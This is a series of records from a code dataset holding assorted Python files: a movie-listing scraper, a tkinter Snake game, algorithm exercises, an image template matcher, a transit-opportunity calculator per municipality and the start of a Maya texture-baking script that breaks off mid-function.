by_epoch=False)","sub_path":"models/segformer_utils/segformer_build.py","file_name":"segformer_build.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"143431236","text":"# getMatrix\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n__all__ = ['main', 'android', 'cmdlines', 'config', 'dataresolve', 'evaluate', 'utils']\n\nif __name__ == \"__main__\":\n datas = pd.read_csv(\"res.csv\")\n print(datas.columns.values)\n datas.columns.values[0] = \"Offset\"\n print(datas.columns.values)\n datas.reset_index(drop=True,inplace=True)\n datas = datas.set_index(\"Offset\")\n print(datas)\n datas['a'].plot(color='g')\n plt.plot([20 for i in range(datas['a'].count())],'r-')\n plt.show()\n","sub_path":"makeMatrix/src/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"194626315","text":"import requests\nimport lxml.etree\nfrom bs4 import BeautifulSoup as bs\n\n\n#安装并使用 requests、bs4 库，爬取猫眼电影的前 10 个电影名称、电影类型和上映时间，并以 UTF-8 字符集保存到 csv 格式的文件中\n# 爬取页面详细信息\n\n# 电影详细页面\nurl = 'https://maoyan.com/films?showType=3'\n\nuser_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'\n\n# 声明为字典使用字典的语法赋值\nheader = {}\nheader['user-agent'] = user_agent\nresponse = requests.get(url, headers=header)\n\nbs_info = bs(response.text, 'html.parser')\n\nfor tags in bs_info.find_all('div', attrs={'class': 'hd'}):\n for atag in tags.find_all('a'):\n print(atag.get('href'))\n # 获取所有链接\n print(atag.find('span').text)\n # 获取电影名字\n# xml化处理\nselector = lxml.etree.HTML(response.text)\n\n# 电影名称\nfilm_name = selector.xpath('//*[@id=\"app\"]/div/div[2]/div[2]/dl/dd[1]/div[1]/div[2]/a/div/div[1]/span[1]')\nprint(f'电影名称: {film_name}')\n\n# 上映日期\nplan_date = selector.xpath('//*[@id=\"app\"]/div/div[2]/div[2]/dl/dd[1]/div[1]/div[2]/a/div/div[2]/text()')\nprint(f'上映日期: {plan_date}')\n\n# 评分\nrating = selector.xpath('//*[@id=\"app\"]/div/div[2]/div[2]/dl/dd[1]/div[1]/div[2]/a/div/div[4]/text()')\nprint(f'评分：{rating}')\n\nmylist = [film_name, plan_date, rating]\n\n\nimport pandas as pd\n\nmovie1 = pd.DataFrame(data = mylist)\n\n# windows需要使用gbk字符集\nmovie1.to_csv('./movie1.csv', encoding='utf8', index=False, header=False)\n\n","sub_path":"Week01/getInfoFromMaoyanBybs4.py","file_name":"getInfoFromMaoyanBybs4.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"189083002","text":"from tkinter import *\n\nimport random\n\nimport os\n\n#глобальные перменные\nWIDTH = 500 #ширина окна\nHEIGHT = 500 #высота окна\nPART_SIZE = 25 #размер части змейки и яблока\nFL_GM = True #флаг состаяния игры\nrecord = 0\nrec = 0\n\n#------------------------------------------------------------------------------------\n#создание \"яблока\"\ndef create_block():\n global BLOCK\n posx = PART_SIZE * random.randint(1, (WIDTH-PART_SIZE) / PART_SIZE)\n posy = PART_SIZE * random.randint(1, (HEIGHT-PART_SIZE) / PART_SIZE)\n \n # блок это яблоко красного цвета\n BLOCK = cs.create_oval(posx, posy, posx + PART_SIZE, posy + PART_SIZE,\n fill=\"red\")\n#------------------------------------------------------------------------------------\n#основная функция управления игры\ndef main():\n global FL_GM\n global rec\n global record\n #проверка состояния игры\n if FL_GM:\n s.move()\n #определение начала змейки\n head = cs.coords(s.parts[-1].instance)\n x1, y1, x2, y2 = head\n \n #проверка на столкновение змейки со стеной\n if x2 > WIDTH or x1 < 0 or y1 < 0 or y2 > HEIGHT:\n FL_GM = False\n \n # Поедание яблок \n if head == cs.coords(BLOCK):\n rec=int(rec+1)\n s.add_segment()\n cs.delete(BLOCK)\n create_block()\n \n # Самоедство\n else:\n # Проходим по всем сегментам змеи\n for index in range(len(s.parts)-1):\n if cs.coords(s.parts[index].instance) == head:\n FL_GM = False\n \n consol.after(100, main)\n #сообщение об окончании игры\n else:\n cs.create_text(WIDTH/2, HEIGHT/3,\n text=\"GAME OVER !\",\n font=\"Colibri 50\",\n fill=\"red\")\n\n cs.create_text(WIDTH/2, HEIGHT/2+50,\n text=\"Score %s\" % (rec),\n font=\"Colibri 20\",\n fill=\"yellow\")\n\n #f = open('records.txt','w')\n #f.write(str(0))\n #f.close()\n\n f = open('records.txt','r')\n line = f.readline()\n record = int(line)\n f.close()\n\n f = open('records.txt','w')\n if rec > record:\n f.write(str(rec))\n else:\n f.write(str(record))\n f.close()\n\n\n cs.create_text(WIDTH/5, HEIGHT-50,\n text=\"[B] ack to Menu\",\n font=\"Colibri 15\",\n fill=\"blue\")\n\n cs.create_text(WIDTH/1.2, HEIGHT-50,\n text=\"[P] lay again\",\n font=\"Colibri 15\",\n fill=\"blue\")\n \n\ndef back_to_menu(event):\n #вернуться в меню\n os.startfile('C:/Users/Alter/Desktop/v2/Menu.pyw')\n consol.destroy()\n\ndef restart(event):\n #запуск игры заново\n os.startfile('C:/Users/Alter/Desktop/v2/snake.pyw')\n consol.destroy()\n#------------------------------------------------------------------------------------\n#класс части змейки\nclass Part(object):\n #метод создания части змейки заданного размера (PART_SIZE), белого цвета\n def __init__(a, x, y):\n a.instance = cs.create_rectangle(x, y, x+PART_SIZE, y+PART_SIZE, fill=\"white\")\n#------------------------------------------------------------------------------------\n#класс змейки\nclass Snake(object):\n #метод создания змейки\n def __init__(a, parts):\n a.parts = parts\n\n #доступные змейке направления\n a.mapping = {\"Right\": (1, 0), \"Left\": (-1, 0),\"Down\": (0, 1), \"Up\": (0, -1)}\n #первоначальное напрвление змейки - вправо\n a.vector = a.mapping[\"Right\"]\n\n #управление змейкой\n #---------------------------------------------------------------------------\n #движение змейки\n def move(a): \n #рассмотрим все части змейки, за исключением первой\n for index in range(len(a.parts)-1):\n part = a.parts[index].instance\n x1, y1, x2, y2 = cs.coords(a.parts[index+1].instance)\n # задаем каждому сегменту позицию сегмента стоящего после него\n cs.coords(part, x1, y1, x2, y2)\n \n # получаем координаты сегмента перед \"головой\"\n x1, y1, x2, y2 = cs.coords(a.parts[-2].instance)\n \n # помещаем \"голову\" в направлении указанном в векторе движения\n cs.coords(a.parts[-1].instance, x1 + a.vector[0]*PART_SIZE,\n y1 + a.vector[1]*PART_SIZE, x2 + a.vector[0]*PART_SIZE,\n y2 + a.vector[1]*PART_SIZE)\n\n #изменение направления\n def change_direction(a, event):\n #event - событие, обозначающее нажатие на кнопку\n #проверка кнопки на обозначение направления\n if event.keysym in a.mapping:\n a.vector = a.mapping[event.keysym] #меняем направление\n\n #увеличение длины змейки\n def add_segment(a):\n last_seg = cs.coords(a.parts[0].instance)\n x = last_seg[2] - PART_SIZE\n y = last_seg[3] - PART_SIZE\n a.parts.insert(0, Part(x, y))\n \n \n#------------------------------------------------------------------------------------\n#создание окна\nconsol = Tk()\n#название окна\nconsol.title(\"Игра Snake\")\n\n#создание экземпляра класса Canvas библиотеки tkinter\n#используем парметры глобальных переменных (высота, ширина), цвет фона - черный\ncs = Canvas(consol, width=WIDTH, height=HEIGHT, bg=\"black\")\n#помещаем его в \"таблицу ячеек\" с помощью упаковщика grid \ncs.grid()\n#наведение фокуса на Canvas для определения нажатия на кнопку\ncs.focus_set()\n\n#создание 3 частей змейки (ориентация змейки - горизонтальная)\nparts = [Part(PART_SIZE, PART_SIZE), Part(PART_SIZE*2, PART_SIZE),\n Part(PART_SIZE*3, PART_SIZE)]\n\n#создание \"змейки\" с помощью созданных выше ее частей\ns = Snake(parts)\nrec = 0\n\n#реакция на нажатие кнопки\ncs.bind(\"\", s.change_direction)\n\nconsol.bind('b', back_to_menu)\nconsol.bind('p', restart)\n \n#создать \"яблоко\"\ncreate_block()\n\n#выполнить основную функцию игры\nmain()\n#------------------------------------------------------------------------\n#запуск окна\nconsol.mainloop()\n","sub_path":"SnakeGame/snake.pyw","file_name":"snake.pyw","file_ext":"pyw","file_size_in_byte":7308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"548947366","text":"class Solution(object):\n def combinationSum3(self, k, n):\n \"\"\"\n :type k: int\n :type n: int\n :rtype: List[List[int]]\n \"\"\"\n if k <= 0 or n <= 0:\n return []\n res = []\n cur = []\n\n def dfs(cur_k, cur_n):\n if cur_n == 0 and cur_k == k:\n res.append(cur[:])\n return\n start_i = 1 if not cur else cur[-1] + 1\n end_i = min(9, cur_n)\n for i in range(start_i, end_i + 1):\n cur.append(i)\n dfs(cur_k + 1, cur_n - i)\n del cur[-1]\n\n dfs(0, n)\n return res\n","sub_path":"array/216_combination_sum_iii.py","file_name":"216_combination_sum_iii.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"585706778","text":"n, m = map(int,input().split())\n\narr = []\nfor i in range(n):\n arr.append(int(input()))\n\ndef binary_search(arr,target):\n start = 1\n end = max(arr)\n answer = 0\n while start <= end:\n mid = (start + end) //2\n sum = 0\n for i in arr:\n if i >= mid:\n sum += i // mid\n if sum >= target:\n answer = mid\n start = mid + 1\n elif sum < target:\n end = mid - 1\n return answer\n\nprint(binary_search(arr,m))","sub_path":"Baekjoon/1654.py","file_name":"1654.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"559408211","text":"import os, fnmatch\nimport numpy as np\nimport cv2\nfrom mss.linux import MSS as mss\nimport time\nimport pyautogui as pg\nimport imutils\nimport mss\nimport numpy\nimport pyautogui\nfrom PIL import ImageGrab, Image\nfrom cvimage_class import Cvimage\ncurrent_path = os.getcwd()\n\ndef find(pattern, path):\n result = []\n for root, dirs, files in os.walk(path):\n for name in files:\n if fnmatch.fnmatch(name, pattern):\n result.append(os.path.join(root, name))\n return result\n\nclass CreepImage(object):\n\n def __init__(self, img_path, file_name, deep_search):\n self.img_path = img_path\n self.file_name = file_name\n self.deep_search = deep_search\n self.template_path = img_path + file_name\n\n self.cvimage = Cvimage(self.template_path)\n\ndef main():\n\n img_path = current_path + '\\\\img\\\\' + '\\\\kor_template\\\\'\n test_gameplay = current_path + '\\\\img\\\\' + '\\\\kor_template\\\\' + '\\\\test_like_vid\\\\'\n hui_list = find('*.png', test_gameplay)\n search_in_img_filename = 'test_img.jpg'\n search_in_img_path = img_path + search_in_img_filename \n\n deep_search1 = {'top_flip': 0.71, 'top': 0.7, 'bot_flip': 0.6, 'bot': 0.6}\n creep1 = CreepImage(img_path, 'creep1.png', deep_search1)\n\n deep_search2 = {'top_flip': 0.80, 'top': 0.7, 'bot_flip': 0.80, 'bot': 0.75}\n creep2 = CreepImage(img_path, 'creep2.png', deep_search2)\n\n deep_search3 = {'top_flip': 0.71, 'top': 0.7, 'bot_flip': 0.7, 'bot': 0.6}\n creep3 = CreepImage(img_path, 'creep3.png', deep_search3)\n\n deep_search4 = {'top_flip': 0.71, 'top': 0.7, 'bot_flip': 0.7, 'bot': 0.6}\n creep4 = CreepImage(img_path, 'creep4.png', deep_search4)\n# template_base = Cvimage(template_path)\n# template_base2 = Cvimage(template_path2)\n# template_base3 = Cvimage(template_path3)\n#\n for find_in_img_path in hui_list:\n find_in_img = Cvimage(find_in_img_path)\n find_in_img.find_by_template(creep1.cvimage, creep1.deep_search, debug=True)\n find_in_img.find_by_template(creep2.cvimage, creep2.deep_search, debug=True)\n find_in_img.find_by_template(creep3.cvimage, creep3.deep_search, debug=True)\n find_in_img.find_by_template(creep4.cvimage, creep4.deep_search, debug=True)\n\nif __name__ == \"__main__\":\n\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"13361849","text":"import FreeCAD\nimport FreeCADGui\nfrom .manager import CommandManager\nfrom PySide import QtCore\n\nclass _CommandDEMWobjConverter(CommandManager):\n \"The DEM WOBJ Converter command definition\"\n def __init__(self):\n super(_CommandDEMWobjConverter, self).__init__()\n self.resources = {\"Pixmap\": \"applications-accessoiries\",\n \"MenuText\": QtCore.QT_TRANSLATE_NOOP(\"DEM_WOBJ_Converter\", \"WOBJ Converter\"),\n \"Accel\": \"\",\n 'ToolTip': QtCore.QT_TRANSLATE_NOOP(\"DEM_WOBJ_Converter\", \"Creates a Wobj File for Blaez-DEM\")}\n self.is_active = 'with_document'\n \n def Activated(self):\n FreeCAD.ActiveDocument.openTransaction(\"Create WOBJConverter\")\n FreeCADGui.addModule(\"demconverters\")\n FreeCADGui.doCommand(\"FemGui.getActiveAnalysis().addObject(demconverters.FCStd-WOBJ2 converter(FreeCAD.ActiveDocument))\")\n FreeCAD.ActiveDocument.recompute()\n\n\nFreeCADGui.addCommand('WOBJ Converter',_CommandDEMWobjConverter())","sub_path":"demcommands/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"46052400","text":"from collections import Counter\n\nfile = open('shakespeare.txt','r')\nstr = file.read()\n\nlst = str.split()\n\nx = [x for x in lst if x != ',']\nlst= [lst for lst in x if lst != '.']\nx= [x for x in lst if x != '?']\nlst= [lst for lst in x if lst != '!']\nx = [x for x in lst if x != ',']\nlst= [lst for lst in x if lst != ':']\nx = [x for x in lst if x != ';']\n\nlst = [lst.lower() for lst in x]\n\ncount = 0\n\nfor i in range(0,len(lst)):\n if len(lst[i])==3:\n count = count +1\n\n\nprint(\"Total number of 3 letter words is \",count)\n\nc = Counter(lst)\n\nmax = dict(c.most_common(20))\nmin = dict(c.most_common()[-20:])\n\nprint(\"\\n20 most frequent words\")\nprint(max)\n\nprint(\"\\n20 least frequent words\")\nprint(min)\n\n\n\n\n","sub_path":"Assign3.py","file_name":"Assign3.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"392456148","text":"import pprint\n\nfrom scipy import stats\n\n\ndef run(mod_stats, RG_stats):\n if len(RG_stats[\"mean_user_time_fixations\"].keys()) == 0:\n print(\"--------------------------------- RG_stats EMPTY\")\n key_set_tf = set(list(mod_stats[\"time_fixations\"].keys()) + list(RG_stats[\"mean_user_time_fixations\"]))\n RG_freq_tf = [RG_stats[\"mean_user_time_fixations\"][k] if\n RG_stats[\"mean_user_time_fixations\"].get(k) is not None else 0\n for k in key_set_tf]\n mod_freq_tf = [mod_stats[\"time_fixations\"][k] if\n mod_stats[\"time_fixations\"].get(k) is not None else 0\n for k in key_set_tf]\n \"\"\"print(\"time_fixations\")\n print(RG_stats[\"mean_user_time_fixations\"])\n print(RG_freq_tf)\n print(\"-----------------------\")\n print(mod_stats[\"time_fixations\"])\n print(mod_freq_tf)\n pprint.pprint(stats.pearsonr(RG_freq_tf, mod_freq_tf))\n pprint.pprint(stats.pearsonr(sorted(RG_freq_tf), sorted(mod_freq_tf)))\"\"\"\n\n key_set_sw = set(list(mod_stats[\"saccades_width\"].keys()) + list(RG_stats[\"mean_user_saccades_width\"]))\n RG_freq_sw = [RG_stats[\"mean_user_saccades_width\"][k] if\n RG_stats[\"mean_user_saccades_width\"].get(k) is not None else 0\n for k in key_set_sw]\n mod_freq_sw = [mod_stats[\"saccades_width\"][k] if\n mod_stats[\"saccades_width\"].get(k) is not None else 0\n for k in key_set_sw]\n # print(\"saccades_width\")\n # pprint.pprint(stats.pearsonr(RG_freq_sw, mod_freq_sw))\n\n key_set_sd = set(list(mod_stats[\"saccades_directions\"].keys()) + list(RG_stats[\"mean_user_saccades_directions\"]))\n RG_freq_sd = [RG_stats[\"mean_user_saccades_directions\"][k] if\n RG_stats[\"mean_user_saccades_directions\"].get(k) is not None else 0\n for k in key_set_sd]\n mod_freq_sd = [mod_stats[\"saccades_directions\"][k] if\n mod_stats[\"saccades_directions\"].get(k) is not None else 0\n for k in key_set_sd]\n # print(\"saccades_directions\")\n # pprint.pprint(stats.pearsonr(RG_freq_sd, mod_freq_sd))\n\n result = {\n \"time_fixations\": tuple(stats.pearsonr(RG_freq_tf, mod_freq_tf)),\n \"saccades_width\": tuple(stats.pearsonr(RG_freq_sw, mod_freq_sw)),\n \"saccades_directions\": tuple(stats.pearsonr(RG_freq_sd, mod_freq_sd))\n }\n return result\n\n","sub_path":"test_PC.py","file_name":"test_PC.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"377041817","text":"\n\nfrom xai.brain.wordbase.verbs._bullshit import _BULLSHIT\n\n#calss header\nclass _BULLSHITS(_BULLSHIT, ):\n\tdef __init__(self,): \n\t\t_BULLSHIT.__init__(self)\n\t\tself.name = \"BULLSHITS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"bullshit\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_bullshits.py","file_name":"_bullshits.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"180585896","text":"from flask import Blueprint\nfrom app.models import Version, db\nmain = Blueprint('main', __name__)\n\n@main.route('/')\ndef hello_world():\n v = Version()\n v.version = '0.4'\n v.latest = True\n db.session.add(v)\n db.session.commit()\n return v.version\n","sub_path":"app/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"476814690","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# create a file with transit opportunities per day (opd) at munis \n# filter file with average tpd per stop and stop location, using muni boarder multipolygons in geojson files\n# sum tpds at stops in muni to calculate opd for muni\n#\n# input:\n# gtfsdate = '20180425'\n# sserviceweekstartdate = '20180425'\n# pathin = 'C:\\\\transitanalyst\\\\processed\\\\'\n# pathout = 'C:\\\\transitanalyst\\\\processed\\\\'\n# txt file with average tpd per stop - 'stopswtpdand10xforrail'+'_'+sserviceweekstartdate+'_'+gtfsdate+'.txt'\n# israel_city_boarders.geojson \n# israel_town_boarders.geojson # moatzot mekomiyot#\n# output:\n# txt file with average opd per muni - 'muni_opd'+'_'+sserviceweekstartdate+'_'+gtfsdate+'.txt'\n#\n#\nprint('----------------- create a file with transit opportunities per day (opd) at munis --------------------------')\nprint('sum tpds at stops in muni to calculate opd for muni')\nprint('generate muni_opd_[serviceweekstartdate]_[gtfsdate].txt')\nfrom datetime import date\nfrom datetime import timedelta\nimport time\nimport copy\nimport os\nimport json\nfrom shapely.geometry import shape, Point, Polygon, MultiPolygon\nimport gtfs_config as gtfscfg\nfrom pathlib import Path\n\ncwd = Path.cwd()\n\ndef main(gtfsdate, processedpath, serviceweekstartdate):\n\t# input:\n\tsserviceweekstartdate = serviceweekstartdate\n\tpathin = cwd.parent / processedpath\n\tpathout = cwd.parent / processedpath\n\tstopsfilein = 'stopswtpdand10xforrail'+'_'+sserviceweekstartdate+'_'+gtfsdate+'.txt' # txt file with average tpd per stop and top location\n\tcityfilein = 'israel_city_boarders.geojson'\n\ttownfilein = 'israel_town_boarders.geojson' # moatzot mekomiyot\n\t#citybuffilein = 'israel_city_boarders_buf200.geojson'\n\t#townbuffilein = 'israel_town_boarders_buf200.geojson' # moatzot mekomiyot\n\n\t# output:\n\tmunifileout = stopsfilein.replace('stopswtpdand10xforrail', 'muni_opd') # txt file with average opd per muni \n\tprint('stopsfilein, munifileout : ', stopsfilein, munifileout)\n\n\tgtfspathin = pathin\n\tgtfspathout = pathout\n\n\t#\n\t# load files \n\t#\n\n\t#\n\t# scan stopfile to create munistops_dict and compute maxaveragetpdatstop and totaltripsatallstops\n\t#\n\t# 1st sline is 'stop_id,stop_lat,stop_lon,averagetpdatstop\\n'\n\t#\n\tmaxaveragetpdatstop = 0.0\n\ttotaltripsatallstops = 0.0\n\n\tmunistops_dict = {}\n\tslinelist=[]\n\tprint(gtfspathin / stopsfilein)\n\tfilein = open(gtfspathin / stopsfilein, 'r', encoding=\"utf8\")\n\tsline = filein.readline()\n\tkeylinelen = len(sline)\n\tslinelist=sline[:-1].split(\",\")\n\tprint(slinelist)\n\tkeylist = slinelist\n\tstop_id_i = keylist.index('stop_id')\n\tstop_lat_i = keylist.index('stop_lat')\n\tstop_lon_i = keylist.index('stop_lon')\n\taveragetpdatstop_i = keylist.index('averagetpdatstop')\n\tprint(slinelist[stop_id_i], slinelist[stop_lat_i], slinelist[stop_lon_i], slinelist[averagetpdatstop_i])\n\tmaxfilelinecount = gtfscfg.MAX_STOPS_COUNT\n\tcount = 0\n\tsline = filein.readline()\n\tfileinlines = (os.path.getsize(gtfspathin / stopsfilein)-keylinelen)/len(sline)\n\t# scan stopsfilein\n\twhile ((count < maxfilelinecount) and (sline != '')):\n\t\tslinelist=sline[:-1].split(\",\")\n\t\t#print (slinelist)\n\t\tstop_id = slinelist[stop_id_i]\n\t\tstop_lat = slinelist[stop_lat_i]\n\t\tstop_lon = slinelist[stop_lon_i]\n\t\taveragetpdatstop = float(slinelist[averagetpdatstop_i])\n\t\tmaxaveragetpdatstop = max(maxaveragetpdatstop, averagetpdatstop)\n\t\ttotaltripsatallstops += averagetpdatstop\n\t\tmunistops_dict[stop_id] = [stop_lat, stop_lon, averagetpdatstop]\n\t\tcount += 1\n\t\t#print count, fileinlines, averagetpdatstop, maxaveragetpdatstop, totaltripsatallstops\n\t\tsline = filein.readline()\n\tprint('count, fileinlines, averagetpdatstop, maxaveragetpdatstop, totaltripsatallstops')\n\tprint(count, fileinlines, averagetpdatstop, maxaveragetpdatstop, totaltripsatallstops)\n\tprint('------------------')\n\tprint('stops lines scanned ', count)\n\tfilein.close()\n\n\n\t# >>> load city boarders \n\twith open(pathin / cityfilein) as cf:\n\t\tcity_geo = json.load(cf)\n\tprint('loaded city geo, feature count: ', len(city_geo['features']))\n\t#print city_geo\n\n\t# >>> load town boarders \n\twith open(pathin / townfilein) as tf:\n\t\ttown_geo = json.load(tf)\n\tprint('loaded town geo, feature count: ', len(town_geo['features']))\n\t#print town_geo\n\t'''\n\t# >>> load city boarders buffered\n\twith open(pathin / citybuffilein) as cbf:\n\t\tcity_buf_geo = json.load(cbf)\n\tprint('loaded city buf geo, feature count: ', len(city_buf_geo['features']))\n\t#print city_buf_geo\n\n\t# >>> load town boarders buffered\n\twith open(pathin / townbuffilein) as tbf:\n\t\ttown_buf_geo = json.load(tbf)\n\tprint('loaded town buf geo, feature count: ', len(town_buf_geo['features']))\n\t#print town_buf_geo\n\t'''\n\t#\n\t# process loaded files\n\t#\n\n\t#\n\t# for each city and town \n\t# filter stops w tpd in boarders multipoly \n\t# sum the tpd from all stops in muni to get opd for muni\n\t# output muni opd to txt file\n\t#\n\n\tfileout = open(pathout / munifileout, 'w', encoding=\"utf8\") # open file to save results \n\tpostsline = 'municode,muni_name,opdinmuni,stopinmunicount\\n'\n\tfileout.write(postsline)\n\n\t# for each city \n\tfor feature in city_geo['features']:\n\t#for feature in city_buf_geo['features']:\n\t# get muni boarders multipoly to use as filter\n\t\t#print feature['properties']\n\t\tmuni_id = feature['properties']['muni_id']\n\t\tmuni_name = feature['properties']['muni_name']\n\t\tprint(muni_name)\n\t\tmuni_boarder_multipoly = shape(feature['geometry']) # get muni boarders multipoly to use as filter\n\t\t#print len(feature['geometry']['coordinates']), muni_boarder_multipoly.geom_type\n\t\t#print feature['geometry']['coordinates'][0][0][0]\n\t\tif not muni_boarder_multipoly.is_valid : \n\t\t\tmuni_boarder_multipoly = muni_boarder_multipoly.buffer(0) # clean multipoly if not valid\n\t\t\tprint('cleaned multipoly')\n\n\t# filter stops w tpd per line in boarders multipoly \n\t\tmuni_stops_dict = {}\n\t\tstopinmunicount = 0\n\t\topdinmuni = 0.0\n\t\tfor stop_id, [stop_lat, stop_lon, averagetpdatstop] in munistops_dict.items() :\n\t\t\tstop_loc = Point(float(stop_lon), float(stop_lat))\n\t\t\tif muni_boarder_multipoly.contains(stop_loc) :\n\t\t\t#print stop_loc\n\t\t\t\tstopinmunicount +=1\n\n\t# sum tpd per stop in muni to get opd\n\t\t\t\topdinmuni += averagetpdatstop\n\n\t\tprint('stopinmunicount, opdinmuni: ', stopinmunicount, round(opdinmuni))\n\t\t#print muni_tpdperline_dict\n\n\t# output muni opportunities per day (opd) to txt file\n\t\tpostsline = muni_id+','+muni_name+','+str(round(opdinmuni))+','+str(stopinmunicount)+'\\n' \n\t\tfileout.write(postsline)\n\n\t# for each town \n\tfor feature in town_geo['features']:\n\t#for feature in town_buf_geo['features']:\n\t# get muni boarders multipoly to use as filter\n\t\t#print feature['properties']\n\t\tmuni_id = feature['properties']['muni_id']\n\t\tmuni_name = feature['properties']['muni_name']\n\t\tprint(muni_name)\n\t\tmuni_boarder_multipoly = shape(feature['geometry']) # get muni boarders multipoly to use as filter\n\t\t#print len(feature['geometry']['coordinates']), muni_boarder_multipoly.geom_type\n\t\t#print feature['geometry']['coordinates'][0][0][0]\n\t\tif not muni_boarder_multipoly.is_valid : \n\t\t\tmuni_boarder_multipoly = muni_boarder_multipoly.buffer(0) # clean multipoly if not valid\n\t\t\tprint('cleaned multipoly')\n\n\t# filter stops w tpd per line in boarders multipoly \n\t\tmuni_stops_dict = {}\n\t\tstopinmunicount = 0\n\t\topdinmuni = 0.0\n\t\tfor stop_id, [stop_lat, stop_lon, averagetpdatstop] in munistops_dict.items() :\n\t\t\tstop_loc = Point(float(stop_lon), float(stop_lat))\n\t\t\tif muni_boarder_multipoly.contains(stop_loc) :\n\t\t\t#print stop_loc\n\t\t\t\tstopinmunicount +=1\n\n\t# sum tpd per stop in muni to get opd\n\t\t\t\topdinmuni += averagetpdatstop\n\n\t\tprint('stopinmunicount, opdinmuni: ', stopinmunicount, round(opdinmuni))\n\t\t#print muni_tpdperline_dict\n\n\t# output muni opportunities per day (opd) to txt file\n\t\tpostsline = muni_id+','+muni_name+','+str(round(opdinmuni))+','+str(stopinmunicount)+'\\n' \n\t\tfileout.write(postsline)\n\n\tfileout.close()\n\tprint('closed file: ', munifileout)\n\n\n","sub_path":"root/muni_opd_from_stops_tpd.py","file_name":"muni_opd_from_stops_tpd.py","file_ext":"py","file_size_in_byte":7885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"259180209","text":"#|############################################################################################################\r\n#\r\n# NAME: \r\n# bakeTextureSequence\r\n#\r\n# AUTHOR:\r\n# Kiel Gnebba (ksg@kielgnebba.com)\r\n#\r\n# PROJECT:\r\n# project name\r\n#\t\t\r\n# VERSION: \r\n# v. 1.0\r\n#\r\n# DESCRIPTION: \r\n# This script will...\r\n# -\r\n# -\r\n# -\r\n#\r\n# INSTALLATION:\r\n# Copy the script into your scripts/ directory\r\n# If you're unsure where that is run this in the script editor:\r\n# mel == internalVar -userScriptDir;\r\n# python == import maya.cmds as cmds; print cmds.internalVar(userScriptDir=True)\r\n#\r\n# USAGE:\r\n# To use just run: \r\n# import maya.cmds as cmds\r\n# scriptName = 'bakeTextureSequence'\r\n# scriptsDir = cmds.internalVar(userScriptDir=True)\r\n# execfile(scriptsDir + scriptName + '.py')\r\n# bakeTextureSequence() \r\n# \r\n# Or you can call the file directly from where ever you put it\r\n# execfile(C:/...where_ever.../bakeTextureSequence.py)\r\n# bakeTextureSequence()\r\n#\r\n# HISTORY:\r\n# 01/01/2010 -- v. 1.0\r\n# - first release\r\n# \r\n#|############################################################################################################\r\n\r\n#import\r\nimport time\r\nimport maya.cmds as cmds\r\nimport maya.mel\r\n\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence_browser()\r\n\r\ndef bakeTextureSequence_browser():\r\n proc = 'bakeTextureSequence_browser'\r\n printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n #startTime = time.time()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#output directory browser\r\n currentString = cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', q=1, text=1)\r\n newString = cmds.fileDialog2(dialogStyle=2, fileMode=3, dir=currentString, caption='Output Directory', okCaption='OK', returnFilter=0)\r\n if len(str(newString)) == 4:\r\n cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', e=1, text=currentString)\r\n else:\r\n cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', e=1, text=newString[0])\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence_browser()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence_outputDir()\r\n\r\ndef bakeTextureSequence_outputDir():\r\n proc = 'bakeTextureSequence_outputDir'\r\n 